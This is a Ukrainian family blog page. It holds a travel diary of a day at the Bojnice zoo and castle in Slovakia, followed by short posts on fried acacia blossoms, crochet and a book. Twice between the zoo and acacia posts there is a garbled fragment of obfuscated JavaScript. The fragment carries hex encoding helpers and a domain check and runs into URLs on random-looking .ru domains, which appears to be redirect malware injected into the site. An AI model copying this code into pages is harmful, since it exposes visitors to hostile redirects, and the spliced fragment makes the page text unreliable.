Їхали ми з Левіц трохи більше години, бо дорога через гори, а там не розженешся, зате краєвиди суперові. Біля зоопарку є кілька парковок, залишити авто на цілий день нам коштувало 4 євро. Заїхали в Бойніце десь так по 11 годині і відразу в зоопарк. Допоки обійшли весь, то було вже десь по четвертій, бо гуляти там є де. Сам зоопарк дуже великий за територією, 41 гектар, а от щодо живності трохи мені забракло. Хоча, то взагалі перший зоопарк, який я відвідала в своєму житті і багато всілякої звірини взагалі перший раз на очі бачила, а тому на щось нарікати взагалі не маю права).
Збоку перед зоопарком є Бойніцький замок. Ззовні дуже красивий, а от в середину ми не попали: дуже велика черга туди була та й квитки не зовсім дешеві – по 10 євро з людини за півторагодинну екскурсію. Так що замок ми собі напланували на пізніше, тим більше, що його зараз якраз трохи поновлюють:)

Дальше перед входом до зоопарку є такий собі невеличкий базарчик з сувенірами, де ми за 2,50 євро купили магнітика напам’ять, і ресторанчики і гарний парк з озером, де можна просто погуляти чи на травичці посидіти.
А ще стояли хлопці і дівчата дуже середньовічного вигляду з усіляким хижим птаством. Орла можна було навіть погладити.
Вхід в зоопарк коштує 4 євро з дорослого, але є гнучкі знижки для студентів, дітей і доходцов (dôchodcov), тобто, пенсіонерів. Доріжки в зоопарку дуже раціонально розташовані: йдеш практично по колу, обходиш всіх звірюк і повертаєшся на початок, що дуже зручно. В зоопарку є багато атракцій для дітей і всіляких кафешок з фастфудом, де можна попоїсти якогось гамбургера чи “гарячого пса”. Та-та, хотдоги в словаків детально “перекладені” на словацьку, самі дивіться:
Ні гарячого, ні рябого, ані великого пса ми їсти не захотіли, обійшлися гранолками (картопля-фрі), кофолою (щось типу кока-коли місцевого виробництва) і якимось хімічним пійлом типу мороженого солодкого льоду неймовірно яскравих кольорів.
Дальше суто про звірину. Попереджаю зразу: фотки є, але мало хто з тварин дивиться в камеру( Як правило, вони всі до мене поверталися задом, як тільки я об’єктив на них наводила(
Починається зоопарк з усілякого птаства: сови, соколи,

орли,


і навіть такий рідкісний білоголовий сип, лебеді, фламінго, який дуже кумедно сидів на зігнутих колінах

папуги, гуси, страуси, павліни, казуари, фазани, ібіси


і ще всяких різних…

До речі, гуси, лебеді, фламінго і качки не в клітках, а в таких собі вольєрах під відкритим небом з невеликими озерцями. Чи то птахам крила попідрізали, чи їм там так добре, але плавають вони собі там спокійно і нікуди навіть не думають втікати. В озерцях сила силенна риби плаває і черепахи. Спострерігали таку картину, коли риба “набила” качку і вигнала її на берег з води. Було кумедно)))
Місцеві ворони не гидують під’їдати з загального корита на пару з казуаром
Дальше була велика “яма” з ведмедями. Ті сиділи в воді з блаженними посмішками на мордах і виглядали навіть дуже задоволеними.

В окремій будівлі є віваріум з усілякими рибо-жабо-ящірко-павуко-гадами) Найбільше сподобалася синя жаба і синій варан. Ну і зміюки всі були дуже яскравими, бо тільки но шкіру поміняли. І була ще велиииика черепаха, вся поросла водоростями!!!






Улька, звичайно ж, випросила собі морозиво)

Ось таку чудернацьку квіточку надибали… а що воно таке не знаю.

Були кенгуру, павільйон з мавпами, які майже всі поховалися від жари і безбожно спали. Орангутангів якраз підгодовували замороженими фруктами, але зафотографувати їх було неможливо: багато людей коло клітки, дуже запальцьоване скло і на сонці тільки ті відбитки на склі і були видні( Зате вдалося зловити отаку от блакитнодупу мавпочку)

Вперше побачила живого дикобраза – дуже вони загрозливо виглядають, скажу я вам, особливо, коли голками повертаються і зразу пригадується, що вони вродь, тими голками як стрілами можуть “стрельнути” (все таки не можуть, навмисне гуглила;)))

Дуже сподобалися сурікати, вони так кумедно сиділи на дупах в піску і заглядали відвідувачам в очі. Прямо як з мульта

Слони… не уявляла навіть, що в живу вони такі здоровенні. Почуваєшся біля них такою малееенькою казявкою. Слони весь час обдмухували себе вухами. Шкода, що були закриті всередині і фотки не дуже вдало вийшли, але все ж

Дальше були загони з усякими копитними: олені, лами, зебри, верблюди, коні Прживальського, які майже що вимерли і на даний час є єдиними дикими конями, поні і ще всякі різні мені до цього часу невідомі. Уляні сподобалися поні, бо їх погладити можна було



Леопард, видно, що щойно пообідав, спав і ні нащо не реагував

Знайшли таку цікаву тварючку як жанетта звичайна. Навіть не знала, що така існує. Єдина позувала мені в камеру і то, як виявилося, тому, що вилізла з нірки покакати))))

А ще тут гарні краєвиди

От… а дальше моя фотознімачка сказала нам па-па і розрядилася(

Є на території зоопарку ще такий собі мініпарк з гумовими динозаврами, які крутять хвостами і ричать. Вхід, здається, 3 євро з людини.
На сам кінець, вже за територією зоопарку ми попали в зеркальний лабіринт. Словацькою це звучить дуже кумедно – zrkadlové bludisko – зркадлове блудіско. За 2 євро з носа ми там трохи поблудили, Уляна чолом гепнулася два рази і здивовано дивилася на нас, чому то вона туди не може зайти. Пореготалися з коханим чоловіком в кімнаті кривих зеркал і нарешті поїхали додому. Улька вирубалася на виїзді з парковіска (парковки) і всю дорогу проспала. А я всю дорогу голову їй тримала, бо на всіх тих поворотах через гори шию можна зламати.

Прогулянкою ми задоволені страшенно, плануємо поїхати в Бойніце ще, на купаліска і в замок. А на наступні вихідні хочемо в біологічний сад подивитися. Я в біологічних садах, соромно признатися, теж ще жодного разу не була. Так що чекайте нового звіту. А ще за цей один день я виконала кілька своїх бажаннячок)

Чао, ваша Юлька)

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “julliastoryblog.wordpress.com”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "julliastoryblog.wordpress.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

Смажена акація… пробували таке?

Пам’ятаю, як колись, коли ще не було такого різноманіття цукерок, мама завжди робила мед з білої акації, цвіту бузини, кульбаб і навіть соснових молодих пагонів і шишок (останній мед ївся з лікувальною метою при застудах і шалено пах сосновим лісом;)… М-м-мммммм, як то колись було смачно набрати такого меду в ложку і виїдати потрохи, як ті самі цукерки. І навіть домашнє завдання з фізики з такою цукеркою в роті здавалася не таким страшним. Але то так… ностальгія за дитинством)
А зимою, коли нишпорила інтернетом в пошуках чогось цікавенько-смачнючого, знайшла смажену акацію! в клярі! От як таке можна було пропустити? Ніяк! Тому на днях все таки видобула аж цілих 6 гілочок цвіту білої акації і, не чекаючи до ранку, в пів десятої вечора все таки насмажила того цвіту.
Е-е-еее, і що вам сказати?… якось сподівання смаку були більшими і кращими за сам смак… Бо щось навіть не уявляла собі, яка то вона має бути, та смажена акація,… а виявилося щось схоже на смажений кабачок, тільки у солодкому клярі і без часничку))) Хоча, смак дійсно цікавий. Ну і запах… запах просто бомбовий! Саме заради нього я би радила вам спробувати смажену акацію. Ну і ще заради того, щоб потім можна було коліжанкам, так собі, між іншим, розказати: “Я от вчора акацію смажила… снідали з кавою… Як яку? Звичайну, білу. То ви ніколи не куштували смаженої акації? Та ви що? Негайно скуштуйте тої домашньої екзотики…”)))))))
От і я вам кажу: Скуштуйте!
І хоча мені вона не аж так дуже засмакувала, щоб смажити її ще раз, але скуштувати такого треба… може вам засмакує краще?

Якщо надумаєте, то раджу кляр робити не дуже солодким і не додавати до нього жодних пахучих інгредієнтів, як то ванілі чи кориці – переб’єте запах акації! Лише яйце, трохи муки і молочка, чайна ложка цукру і трошки підсолити. А цвіт акації брати цілими суцвіттями, щоб всі квіти розцвілі були, добре промити в проточній воді, струсити і щоб трохи обсох з води. От і все.
Смачного!!!

П.С. думаю, то можна зарахувати під моє бажаннячко №15)

Обновка для Ульки (з циклу рукоробок)))

Привітики, народ!

Я тут трохи випала з інтернет-життя… не маю часу, бо всерйоз захопилася в’язанням, чи то гачкуванням?…
В’язала малій курточку на весну, але вона мені якась вийшла завелика, тому в …надцятий раз буду її пороти і перев’язувати( Буде вже на осінь, бо в Левіце весни так і не було: після зими з дощами і нульовою температурою, фактично почалося літо. Сьогодні гуляли в легенькій курточці і тонесенькій кофточці і то були затепло одіті. А ще прикупили Ульці босоніжки і нове платтячко, в якому після примірки дитина пішла спати, бо скинути категорично відмовилася. Як аргумент було: “мама, йди геть, Няня буде пати(спати)”… добре, хоч босоніжки вбалакала зняти))) Читати далі

Прочитане: “365 коротких історій для душі” Бруно Ферреро

Я тут, в Словаччині, дуже скучила за українською художньою книжкою. Добре, що сусідка час від часу підкидує щось для “почитати”. З останньої партії дала почитати “365 коротких історій для душі” Бруно ферреро. Історій дійсно 365, вони дійсно короткі і ще й як для душі і до душі… принаймні мене історії зачепили, так би сказати, за живе.

Читати далі